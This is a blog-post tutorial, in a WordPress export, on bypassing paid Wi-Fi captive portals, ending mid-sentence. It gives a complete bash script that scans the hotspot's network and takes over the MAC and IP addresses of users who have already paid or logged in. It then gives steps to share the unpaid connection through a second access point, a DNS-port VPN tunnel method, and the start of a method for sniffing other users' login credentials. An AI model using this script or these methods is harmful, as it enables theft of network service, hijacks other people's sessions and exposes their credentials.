{"id":1088,"date":"2018-04-22T07:23:39","date_gmt":"2018-04-22T07:23:39","guid":{"rendered":"https:\/\/miloserdov.org\/?p=1088"},"modified":"2018-04-22T07:23:39","modified_gmt":"2018-04-22T07:23:39","slug":"fast-and-simple-method-to-bypass-captive-portal-hotspot-with-authorization-on-the-web-interface","status":"publish","type":"post","link":"https:\/\/miloserdov.org\/?p=1088","title":{"rendered":"Fast and simple method to bypass Captive Portal (hotspot with authorization on the web-interface)"},"content":{"rendered":"<div class=\"0b20205ac99e89c6cabdb919fd9d1a8a\" data-index=\"1\" style=\"float: none; margin:10px 0 10px 0; text-align:center;\">\n<script async src=\"\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block; text-align:center;\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-layout=\"in-article\"\r\n     data-ad-client=\"ca-pub-7219829351026140\"\r\n     data-ad-slot=\"9942251718\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\r\n\r\n\n<\/div>\n<h2 style=\"text-align: justify;\">\n\tWhat is Captive Portal?<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tWith a Captive Portal you may encounter at the airport, hotel, condo, business centers, also now some mobile operators organize Wi-Fi access points using intercepting portals (hotspot with authorization on the web-interface).\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf you do not quite understand what I mean, then look at the screenshot:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/73.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1101\" height=\"794\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/73.png\" width=\"944\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/73.png 944w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/73-768x646.png 768w\" sizes=\"(max-width: 944px) 100vw, 944px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThere is an open Wi-Fi network to which you can connect without a password (an access point without encryption), but when you try to access any site, we will be redirected to the page where you need to enter credentials, make payment, confirm the phone number via SMS or something similar.\n<\/p>\n<p style=\"text-align: justify;\">\n\tCaptive Portal is an alternative way (instead of password protected Wi-Fi networks) to restrict access to the global network. Thanks to this approach, it is possible to flexibly regulate access to the Internet network (for example, to issue credential that are valid for a specified period of time), and monitor the activity of a particular user.\n<\/p>\n<p style=\"text-align: justify;\">\n\tSometimes, to gain access, simply enter a PIN from a free SMS message, or ask for a login and password in the lobby. But sometimes you need to buy access.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tEasy and quick hacking hot-spot with authorization on the web-interface<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tWe will use <a href=\"https:\/\/en.kali.tools\/?p=724\" target=\"_blank\">hack-captive-portals<\/a>, a script for hacking any captive portals using the MAC spoofing technique.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf you have Kali Linux, Ubuntu, Linux Mint, Debian or any of their derivatives, then install a couple of packages:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo apt -y install sipcalc nmap<\/pre>\n<p style=\"text-align: justify;\">\n\tYou can download the script as follows:\n<\/p>\n<pre class=\"brush:bash;\">\r\nwget https:\/\/raw.githubusercontent.com\/systematicat\/hack-captive-portals\/master\/hack-captive.sh\r\nsudo chmod u+x hack-captive.sh<\/pre>\n<p style=\"text-align: justify;\">\n\tBut I have slightly modified this script (on some networks, there will not be a difference in work, but for some, the work will be much more stable and much faster at the expense of skipping explicit dummies).\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo use my version, create a file <strong>hack-captive-mial.sh<\/strong>:\n<\/p>\n<pre class=\"brush:bash;\">\r\ngedit .\/hack-captive-mial.sh<\/pre>\n<p style=\"text-align: justify;\">\n\tAnd copy there:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<details class=\"wp-block-inline-spoilers-block\"><summary>Expand<\/summary>\n\n<pre class=\"brush:bash;\">\r\n#!\/usr\/bin\/env bash\r\n# =========================================================================== #\r\n#           FILE:  hack-captive-mial.sh                                       #\r\n#          USAGE:  sudo .\/hack-captive-mial.sh                                #\r\n#                                                                             #\r\n#    DESCRIPTION:  This script helps to pass through the captive portals in   #\r\n#                  public Wi-Fi networks. It hijacks IP and MAC from somebody #\r\n#                  who is already connected and authorized on captive portal. #\r\n#                  Tested in Ubuntu 16.04 with different captive portals in   #\r\n#                  airports and hotels all over the world.                    #\r\n#                                                                             #\r\n#   REQUIREMENTS:  coreutils, sipcalc, nmap                                   #\r\n#          NOTES:  Let the information always be free!                        #\r\n#         AUTHOR:  Stanislav &quot;systematicat&quot; Kotivetc, &lt;@systematicat&gt;         #\r\n#        COMPANY:  Hire me! I am a cool dude!                                 #\r\n#        VERSION:  1.0                                                        #\r\n#        CREATED:  16.12.2016 - 23:59                                         #\r\n#       REVISION:  ---                                                        #\r\n#      COPYRIGHT:  2016 Stanislav &quot;systematicat&quot; Kotivetc                     #\r\n#        LICENSE:  WTFPL v2                                                   #\r\n# =========================================================================== #\r\n#            FIX:  MiAl (HackWare.ru)                                         #\r\n# =========================================================================== #\r\n \r\n# Find the initial parameters of wireless interface.\r\ninterface=&quot;$(ip -o -4 route show to default | awk &#39;\/dev\/ {print $5}&#39; | head -n1)&quot;\r\nlocalip=&quot;$(ip -o -4 route get 1 | awk &#39;\/src\/ {print $7}&#39;)&quot;\r\nwifissid=&quot;$(iw dev &quot;$interface&quot; link | awk &#39;\/SSID\/ {print $NF}&#39;)&quot;\r\ngateway=&quot;$(ip -o -4 route show to default | awk &#39;\/via\/ {print $3}&#39;)&quot;\r\nbroadcast=&quot;$(ip -o -4 addr show dev &quot;$interface&quot; | awk &#39;\/brd\/ {print $6}&#39;)&quot;\r\nipmask=&quot;$(ip -o -4 addr show dev &quot;$interface&quot; | awk &#39;\/inet\/ {print $4}&#39;)&quot;\r\nnetmask=&quot;$(printf &quot;%s\\n&quot; &quot;$ipmask&quot; | cut -d &quot;\/&quot; -f 2)&quot;\r\nnetaddress=&quot;$(sipcalc &quot;$ipmask&quot; | awk &#39;\/Network address\/ {print $NF}&#39;)&quot;\r\nnetwork=&quot;$netaddress\/$netmask&quot;\r\nmacaddress=&quot;$(ip -0 addr show dev &quot;$interface&quot; \\\r\n              | awk &#39;\/link\/ &amp;&amp; \/ether\/ {print $2}&#39; \\\r\n              | tr &#39;[:upper:]' '[:lower:]&#39;)&quot;\r\n \r\n# Check for running as root.\r\nfunction check_sudo() {\r\n  if [[ \"$EUID\" -ne 0 ]]; then\r\n    printf &quot;%b\\n&quot; &quot;ERROR This script must be run as root. Use sudo.&quot; &gt;&amp;2\r\n    exit 1\r\n  fi\r\n}\r\n \r\n# Create a temporary folder for script work.\r\nfunction create_tmp() {\r\n  unset tmp\r\n  tmp=&quot;$(mktemp -q -d &quot;${TMPDIR:-\/tmp}\/hackaptive_XXXXXXXXXX&quot;)&quot; || {\r\n    printf &quot;%b\\n&quot; &quot;ERROR Unable to create temporary folder. Abort.&quot; &gt;&amp;2\r\n    exit 1\r\n  }\r\n}\r\n \r\n# Clean tmp\/ on exit due to any reason.\r\nfunction clean_up() {\r\n  rm -rf &quot;$tmp&quot;\r\n  trap 0\r\n  exit\r\n}\r\n \r\n# Split up big networks into smaller chunks of \/24.\r\nfunction calc_network() {\r\n  printf &quot;%b\\n&quot; &quot;Exploring network in \\&quot;$wifissid\\&quot; Wi-Fi hotspot.&quot;\r\n  if [[ \"$netmask\" -lt 24 ]]; then\r\n    sipcalc -s 24 &quot;$network&quot; \\\r\n    | awk &#39;\/Network\/ {print $3}&#39; &gt; &quot;$tmp&quot;\/networklist.$$.txt\r\n    printf &quot;%b\\n&quot; &quot;Splitting up network $network into smaller chunks.&quot;\r\n  else\r\n    printf &quot;%s\\n&quot; &quot;$network&quot; | cut -d &quot;\/&quot; -f 1 &gt; &quot;$tmp&quot;\/networklist.$$.txt\r\n  fi\r\n}\r\n \r\nroutermac=&quot;$(nmap -n -sn -PR -PS -PA -PU -T5 $gateway | grep -E -o &#39;[A-Z0-9:]{17}&#39; | tr A-Z a-z)&quot;\r\n \r\n# Select network, set netmask, scan it for IP and MAC and hijack them. Repeat.\r\nfunction main() {\r\n  while read -r networkfromlist; do\r\n    if [[ \"$netmask\" -lt 24 ]]; then\r\n      network=&quot;$networkfromlist\/24&quot;\r\n    else\r\n      network=&quot;$networkfromlist\/$netmask&quot;\r\n    fi\r\n \r\n  # Scan selected network for active hosts.\r\n  printf &quot;%b\\n&quot; &quot;Looking for active hosts in $network. Please wait.&quot;\r\n  nmap -n -sn -PR -PS -PA -PU -T5 --exclude &quot;$localip&quot;,&quot;$gateway&quot; &quot;$network&quot; \\\r\n  | awk &#39;\/for\/ {print $5} ; \/Address\/ {print $3}&#39; \\\r\n  | sed &#39;$!N;s\/\\n\/ - \/&#39; &gt; &quot;$tmp&quot;\/hostsalive.$$.txt\r\n \r\n  # Set founded IP and MAC for wireless interface.\r\n    while read -r hostline; do\r\n      newipset=&quot;$(printf &quot;%s\\n&quot; &quot;$hostline&quot; | awk &#39;{print $1}&#39;)&quot;\r\n      newmacset=&quot;$(printf &quot;%s\\n&quot; &quot;$hostline&quot; \\\r\n                   | awk &#39;{print $3}&#39; \\\r\n                   | tr &#39;[:upper:]' '[:lower:]&#39;)&quot;\r\n \r\n      if [ \"$routermac\" != \"$newmacset\" ]; then\r\n \r\n            printf &quot;%b\\n&quot; &quot;Trying to hijack $newipset - $newmacset&quot;\r\n            ip link set &quot;$interface&quot; down\r\n            ip link set dev &quot;$interface&quot; address &quot;$newmacset&quot;\r\n            ip link set &quot;$interface&quot; up\r\n            ip addr flush dev &quot;$interface&quot;\r\n            ip addr add &quot;$newipset\/$netmask&quot; broadcast &quot;$broadcast&quot; dev &quot;$interface&quot;\r\n            ip route add default via &quot;$gateway&quot;\r\n            sleep 1\r\n \r\n            # Check if Google DNS pingable with our new IP and MAC.\r\n            ping -c1 -w1 8.8.8.8 &gt;\/dev\/null\r\n            if [[ $? -eq 0 ]]; then\r\n              printf &quot;%b\\n&quot; &quot;Pwned! Now you can surf the Internet!&quot;\r\n              exit 0\r\n      fi\r\n \r\n      else\r\n            printf &quot;%b\\n&quot; &quot;Skipped $newipset - $newmacset&quot;\r\n      fi\r\n \r\n    done &lt; &quot;$tmp&quot;\/hostsalive.$$.txt\r\n    rm -rf &quot;$tmp&quot;\/hostsalive.$$.txt\r\n    printf &quot;%b\\n&quot; &quot;Suitable hosts not found. Checking another network chunk.&quot;\r\n \r\n  done &lt; &quot;$tmp&quot;\/networklist.$$.txt\r\n  rm -rf &quot;$tmp&quot;\/networklist.$$.txt\r\n  printf &quot;%b\\n&quot; &quot;No luck! Try again later or try another Wi-Fi hotspot.&quot;\r\n \r\n  # Restore original MAC and IP.\r\n  ip link set &quot;$interface&quot; down\r\n  ip link set dev &quot;$interface&quot; address &quot;$macaddress&quot;\r\n  ip link set &quot;$interface&quot; up\r\n  ip addr flush dev &quot;$interface&quot;\r\n  ip addr add &quot;$ipmask&quot; broadcast &quot;$broadcast&quot; dev &quot;$interface&quot;\r\n  ip route add default via &quot;$gateway&quot;\r\n}\r\n \r\n# Functions start here.\r\ntrap clean_up 0 1 2 3 15\r\ncheck_sudo\r\ncreate_tmp\r\ncalc_network\r\nmain<\/pre>\n<p style=\"text-align: justify;\">\n\t<\/p><\/details>\n<\/p>\n<p style=\"text-align: justify;\">\n\tMake the file executable:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo chmod u+x hack-captive-mial.sh<\/pre>\n<p style=\"text-align: justify;\">\n\tRun it:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo .\/hack-captive-mial.sh<\/pre>\n<p style=\"text-align: justify;\">\n\tOr (if using the original version):\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo .\/hack-captive.sh<\/pre>\n<p style=\"text-align: justify;\">\n\tAnd wait for the result.\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/74-1.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1102\" height=\"503\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/74-1.png\" width=\"753\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tAs soon as you see the line\n<\/p>\n<pre class=\"brush:bash;\">\r\nPwned! Now you can surf the Internet!<\/pre>\n<p style=\"text-align: justify;\">\n\tSo you already have Internet access!\n<\/p>\n<p style=\"text-align: justify;\">\n\tAgain, check the ping:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/75.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1103\" height=\"507\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/75.png\" width=\"890\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/75.png 890w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/75-768x438.png 768w\" sizes=\"(max-width: 890px) 100vw, 890px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tWe try to open the site (I go to <a href=\"https:\/\/suip.biz\/?act=myip\" target=\"_blank\">SuIP.biz<\/a> to find out at the same time &lsquo;my&rsquo; Internet service provider):\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/177.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1092\" height=\"878\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/177.png\" width=\"1470\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/177.png 1470w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/177-1000x597.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/177-768x459.png 768w\" sizes=\"(max-width: 1470px) 100vw, 1470px\" \/><\/a>\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tHow to make the Captive Portal signal accessible to other devices<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tRegardless of how you accessed (legally or not), you can share your Internet connection for multiple devices. You can even open Internet access from a virtual machine to a real computer&#8230;\n<\/p>\n<p style=\"text-align: justify;\">\n\tBy itself, we need 2 Wi-Fi adapters: one is connected to the Captive Portal, the second one distributes Internet connection.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAt the previous stage &#8211; when we hacked the Intercepting Portal, it is possible that we made the connection using Network Manager. We will reduce the number of incomprehensible hangs if we perform the following actions without using NetworkManager.\n<\/p>\n<p style=\"text-align: justify;\">\n\tInstall additional packages if you do not already have them:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo apt install wpasupplicant\r\nsudo apt install haveged hostapd git util-linux procps iproute2 iw dnsmasq iptables\r\ngit clone https:\/\/github.com\/oblique\/create_ap\r\ncd create_ap\r\nsudo make install\r\ncd .. &amp;&amp; rm -rf create_ap<\/pre>\n<p style=\"text-align: justify;\">\n\tNow stop NetworkManager:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo systemctl stop NetworkManager\r\nsudo airmon-ng check kill<\/pre>\n<p style=\"text-align: justify;\">\n\tIf you are running from a virtual machine, you need to disconnect (virtual) wired connection so that the script does not get confused when it looks for the default gateway (if necessary, change <strong>eth0 <\/strong>to the name of your Ethernet interface):\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo ip link set eth0 down<\/pre>\n<p style=\"text-align: justify;\">\n\tCreate a configuration file, for example, with the name <strong>wpa_sup.conf<\/strong>:\n<\/p>\n<pre class=\"brush:bash;\">\r\ngedit wpa_sup.conf<\/pre>\n<p style=\"text-align: justify;\">\n\tCopy the following into it (replace i_spac_5FL-2.4GHz with the name of the Network of the Captive Portal):\n<\/p>\n<pre class=\"brush:plain;\">\r\nnetwork={\r\n        ssid=&quot;i_spac_5FL-2.4GHz&quot;\r\n        key_mgmt=NONE\r\n        priority=100\r\n}<\/pre>\n<p style=\"text-align: justify;\">\n\tWe are connecting (replace <strong>wlan0 <\/strong>with the name of your wireless interface used to connect to the Captive portal, if you chose a different name for the configuration file, write it instead of <strong>wpa_sup.conf<\/strong>):\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo wpa_supplicant -i wlan0 -c wpa_sup.conf<\/pre>\n<p style=\"text-align: justify;\">\n\tWait for the appearance of such a line (should contain the words <strong>CTRL-EVENT-CONNECTED &#8211; Connection to<\/strong>):\n<\/p>\n<pre class=\"brush:plain;\">\r\nwlan0: CTRL-EVENT-CONNECTED - Connection to 88:dc:96:55:19:e4 completed [id=0 id_str=]<\/pre>\n<p style=\"text-align: justify;\">\n\tSince we did not send the process to the background, open a new console window (do not close the previous one, otherwise the connection to the Captive Portal will fail), enter in a new window (this is necessary for our wireless interface to be assigned an IP address):\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo dhclient wlan0<\/pre>\n<p style=\"text-align: justify;\">\n\tAt this point, run the script for hacking Captive Portal:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo .\/hack-captive-mial.sh<\/pre>\n<p style=\"text-align: justify;\">\n\tWait for the successful completion.\n<\/p>\n<p style=\"text-align: justify;\">\n\tNow we need to set up a wireless access point, which as an Internet access source will use the interface with the Captive portal. We look at the names of our network interfaces:\n<\/p>\n<pre class=\"brush:bash;\">\r\niw dev<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/79.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1105\" height=\"377\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/79.png\" width=\"748\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tRun create_ap as follows:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo create_ap &lt;INTERFACE_FOR_AP&gt; &lt;INTERFACE_WITH_INTERNET&gt; &lt;AP_NAME&gt;<\/pre>\n<p style=\"text-align: justify;\">\n\tI want to create an AP with the name &lsquo;HackWare&rsquo; on the wlan1 interface, using the wlan0 interface for Internet access, then my command:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo create_ap wlan1 wlan0 HackWare<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/710.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1094\" height=\"591\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/710.png\" width=\"901\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/710.png 901w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/710-768x504.png 768w\" sizes=\"(max-width: 901px) 100vw, 901px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf the line appears\n<\/p>\n<pre class=\"brush:plain;\">\r\nwlan0: AP-ENABLED<\/pre>\n<p style=\"text-align: justify;\">\n\tthen everything went well.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe command above creates an AP, the connection to which is not protected by a password, if you want to create a password protected AP, then use the command of the form:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo create_ap &lt;INTERFACE_FOR_AP&gt; &lt;INTERFACE_WITH_INTERNET&gt; &lt;AP_NAME&gt; &lt;PASSWORD&gt;<\/pre>\n<p style=\"text-align: justify;\">\n\tFor example, for my AP to have the password MiAlrules, I use the command:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo create_ap wlan1 wlan0 HackWare MiAlrules<\/pre>\n<p style=\"text-align: justify;\">\n\tIf your wireless adapter supports IEEE 802.11n, you can use the <strong>&#8211;ieee80211n<\/strong> option, which enables IEEE 802.11n:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo create_ap --ieee80211n wlan1 wlan0 HackWare MiAlrules<\/pre>\n<p style=\"text-align: justify;\">\n\tSince all the operations I performed in a virtual machine, to which two USB Wi-Fi adapters are connected, the virtual machine now has the Internet access, and the real computer does not have it. But since the virtual machine is launched in a laptop with a built-in Wi-Fi adapter, my real computer connects to the Access Point that the virtual computer creates:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/71.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1093\" height=\"1080\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/71.jpg\" width=\"1920\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/71.jpg 1920w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/71-1000x563.jpg 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/71-768x432.jpg 768w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/71-1500x844.jpg 1500w\" sizes=\"(max-width: 1920px) 100vw, 1920px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe connection was successful and now the main computer has access to the Internet:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/72.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1100\" height=\"1080\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/72.jpg\" width=\"1920\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/72.jpg 1920w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/72-1000x563.jpg 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/72-768x432.jpg 768w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/72-1500x844.jpg 1500w\" sizes=\"(max-width: 1920px) 100vw, 1920px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tIt seems funny to me: the non-existent virtual computer provides a real iron computer with the Internet!\n<\/p>\n<p style=\"text-align: justify;\">\n\tI also connect my other devices (mobile phones) to the access point from the virtual machine:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/711.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1095\" height=\"491\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/711.png\" width=\"900\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/711.png 900w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/711-768x419.png 768w\" sizes=\"(max-width: 900px) 100vw, 900px\" \/><\/a>\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tHow does Captive Portal work?<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tTo understand why it&#39;s so easy to bypass the Captive Portal, and see other ways to bypass, you need to understand exactly how Captive Portal works.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAs you can already see, this is an open Access Point, to which anyone can connect. Let&#39;s remember this: we have access to the local network without any break-ins. If the phrase &lsquo;local network&rsquo; immediately brings to mind the word sniffing&rsquo;, then you are right!\n<\/p>\n<p style=\"text-align: justify;\">\n\tNetwork equipment is configured to redirect everyone, who have connected to a Hot Spot, to the same web page, which hosts the conditions for access to the network. On this page, the user enters a PIN from the SMS or login and password. Typically, HTTP (rather than HTTPS) is used to access the Web page of the Captive Portal. This is due to the peculiarities of the local network: for local addresses it is impossible to get valid SSL certificates, and using the invalid does not add anything to security, but it creates additional problems.\n<\/p>\n<p style=\"text-align: justify;\">\n\tBy the way, if you connect to the Portal and try to open something in a web browser, but you do not redirect to the Captive Portal web page, it&#39;s likely that you are trying to access a site with an HTTPS protocol, try to open any site on HTTP and you will be thrown to the &lsquo;entrance&rsquo; page,\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo prevent users from using non-standard ports (for example, to connect to a VPN, use the Tor browser or a proxy), all traffic on all ports is blocked. But it is necessary to skip UDP traffic on port 53, which is used for requests to the DNS server.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAfter the user entered the correct credentials, his MAC address and IP address are unrestricted. The binding goes exactly to the MAC address (or to the MAC address and IP address pair).\n<\/p>\n<p style=\"text-align: justify;\">\n\tHere is described the &lsquo;strong&rsquo; configuration of the interception portal. Specific implementations may be even weaker: for example, a DNS server can be used to redirect to the Portal page, which will respond to all requests with the IP address of Captive Portal, and there will not be proper traffic filtering. As a result, you can bypass this Portal simply by using a standard VPN connection, or by setting it in the DNS server settings in conjunction with the Tor browser, etc.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tHow to bypass Captive Portal<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tNow that we understand what principles Captive Portal is based on, its weaknesses are very clearly visible.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\tThe first method of hacking a Captive Portal: stealing MAC and IP addresses<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tThis method uses the hack-captive-portals script: it intercepts the IP and MAC from someone who is already connected and authorized in the intercepting portal.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe principle of operation is very simple: the script finds all the &lsquo;live&rsquo; hosts on the local network and &lsquo;tries on&rsquo; their MAC and IP, immediately after trying on the test is made &#8211; is the global network available. If available, the script stops the work, and we can enjoy the wonders of the Internet. If the external network is unavailable, the next MAC and IP are tried, etc.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIt&#39;s very simple, but it&#39;s VERY effective. A mandatory requirement, there must be someone on the local network who is already authorized in the Intercepting Portal. In principle, it is possible to write out several MAC-IP working pairs and connect even when &lsquo;hosts are not at home&rsquo;, but such pairs can &lsquo;fade&rsquo;, they can be valid, for example, only within 24 hours (from the moment of authentication by a legitimate user, and not from the moment when we find them out).\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/00.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1091\" height=\"930\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/00.png\" width=\"1124\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/00.png 1124w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/00-1000x827.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/00-768x635.png 768w\" sizes=\"(max-width: 1124px) 100vw, 1124px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tHowever, this is a very effective and most reliable method.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\tThe second method of Captive Portal hacking: using UDP VPN on port 53<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tTypically, in Captive Portals, all TCP and UDP ports are blocked for non-authenticated users. All but one, it is port 53 UDP. This port is required to query DNS servers to convert host names to IP. You need to start by checking if DNS queries are not spoofed (usually not). To do this, execute the dig command several times for different hosts, for example, to get the IP host ya.ru:\n<\/p>\n<pre class=\"brush:bash;\">\r\ndig @8.8.8.8 ya.ru +short<\/pre>\n<p style=\"text-align: justify;\">\n\tTo get an IP host google.com\n<\/p>\n<pre class=\"brush:bash;\">\r\ndig @8.8.8.8 google.com +short<\/pre>\n<p style=\"text-align: justify;\">\n\tAnd so on. If the results are different (and not, for example, every time 192.168.88.1 or another local IP address), then DNS queries are passed and port 53 UDP is open.\n<\/p>\n<p style=\"text-align: justify;\">\n\tVia port 53, you can configure a UDP proxy, VPN, or other tunnel. Free UDP VPN on port 53 can be found right in Google.\n<\/p>\n<p style=\"text-align: justify;\">\n\tHowever, this method did not work for me on the intercepting portal in the immediate vicinity of me, maybe I was not quite right doing something, perhaps the problem in a particular VPN service provider, or, nevertheless, my Intercepting Portal somehow way limited\/blocked traffic and on the port 53 UDP.\n<\/p>\n<p style=\"text-align: justify;\">\n\tA huge plus of this method is that we do not need a client that has been successfully authenticated in the Portal.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\tThe third method of hacking Captive Portal: stealing credentials of legitimate users<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tSince in Captive Portal we are with other users on the same local network, and the data for authorization on the Portal is sent over the HTTP protocol (and not HTTPS), then the following scheme seems to work:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tconnect to an open network\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tlaunch ARP spoofing\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tstart sniffing\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\twe analyze the received data: we search in them login and the password\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tBut we can use a less invasive (and much more convenient) method.\n<\/p>\n<p style=\"text-align: justify;\">\n\tWe will take advantage of the fact that in open networks traffic is transmitted without encryption. Therefore, we will not connect to the network, but we will use <a href=\"https:\/\/en.kali.tools\/?p=367\" target=\"_blank\">Airodump-ng<\/a> to listen for traffic.\n<\/p>\n<p style=\"text-align: justify;\">\n\tStop Network Manager and kill the processes that can prevent us:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo systemctl stop NetworkManager\r\nsudo airmon-ng check kill<\/pre>\n<p style=\"text-align: justify;\">\n\tFurther in the commands, if necessary, replace the name <strong>wlan0 